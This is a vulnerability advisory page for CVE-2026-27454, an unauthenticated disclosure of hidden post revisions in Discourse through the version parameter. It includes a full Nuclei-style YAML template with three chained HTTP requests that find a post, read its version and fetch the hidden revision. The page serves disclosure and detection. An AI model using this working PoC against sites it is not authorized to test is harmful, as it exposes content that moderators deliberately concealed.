CVE-2026-27454: Discourse <=2026.2.0 - Hidden Post Revision Disclosure via revert_to Authorization Bypass
日期: 2026-09-16 | 影响软件: 未知 | PoC: 已公开
漏洞描述
Discourse versions before 2026.1.2, 2026.2.1, and 2026.3.0-latest.1 contain an authorization bypass in PostsController#display_post. The controller calls post.revert_to(params[:version]) directly whenever a version query parameter is present, without checking whether the corresponding PostRevision is hidden or whether the caller has permission to view edit history. By requesting a post at its publicly known version number via GET /posts/:id.json?version=<public_version>, the next PostRevision's stored modifications are applied unconditionally. If staff have hidden that revision, its pre-edit content is returned to an unauthenticated caller. On patched installs the same request is rejected with 403 because guardian.ensure_can_see!(post_revision) is evaluated first.
PoC代码[已公开]
id: CVE-2026-27454
info:
name: Discourse <=2026.2.0 - Hidden Post Revision Disclosure via revert_to Authorization Bypass
author: str4k3r
severity: medium
description: |
Discourse versions before 2026.1.2, 2026.2.1, and 2026.3.0-latest.1 contain an authorization bypass in PostsController#display_post. The controller calls post.revert_to(params[:version]) directly whenever a version query parameter is present, without checking whether the corresponding PostRevision is hidden or whether the caller has permission to view edit history. By requesting a post at its publicly known version number via GET /posts/:id.json?version=<public_version>, the next PostRevision's stored modifications are applied unconditionally. If staff have hidden that revision, its pre-edit content is returned to an unauthenticated caller. On patched installs the same request is rejected with 403 because guardian.ensure_can_see!(post_revision) is evaluated first.
impact: |
An unauthenticated visitor can retrieve the contents of a hidden post revision that moderators intended to conceal from public viewers.
remediation: |
Upgrade Discourse to 2026.1.2, 2026.2.1, 2026.3.0-latest.1, or later.
reference:
- https://github.com/discourse/discourse/security/advisories/GHSA-fq69-f929-wp96
- https://github.com/discourse/discourse/commit/8510fde30eb0d7f2dee822a95f6cf43b9ac943d0
- https://nvd.nist.gov/vuln/detail/CVE-2026-27454
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
cvss-score: 5.3
cve-id: CVE-2026-27454
cwe-id: CWE-862
metadata:
verified: true
max-request: 3
vendor: discourse
product: discourse
tags: cve,cve2026,discourse,idor,exposure,unauth
flow: http(1) && http(2) && http(3)
http:
- raw:
- |
GET /posts.json HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'contains(body, "latest_posts")'
- 'status_code == 200'
condition: and
internal: true
extractors:
- type: regex
name: post_id
part: body
internal: true
group: 1
regex:
- '"latest_posts":\[\{"id":(\d+)'
- raw:
- |
GET /posts/{{post_id}}.json HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'contains(body, "\"version\"")'
- 'status_code == 200'
condition: and
internal: true
extractors:
- type: regex
name: pub_version
part: body
internal: true
group: 1
regex:
- '"version":(\d+)'
- raw:
- |
GET /posts/{{post_id}}.json?version={{pub_version}} HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- '!contains(body, "invalid_access")'
- 'contains(body, "\"cooked\"")'
- 'status_code == 200'
condition: and
# digest: 490a0046304402201e2a040b996995c0987f32e920779b869debcdbb54818a1fa20d8ea6aa504fc3022023e8c6a6f47db95a967f698046b0505d92cc106f965b19ef3dd6db4a3abcb51e:922c64590222798bb761d5b6d8e72950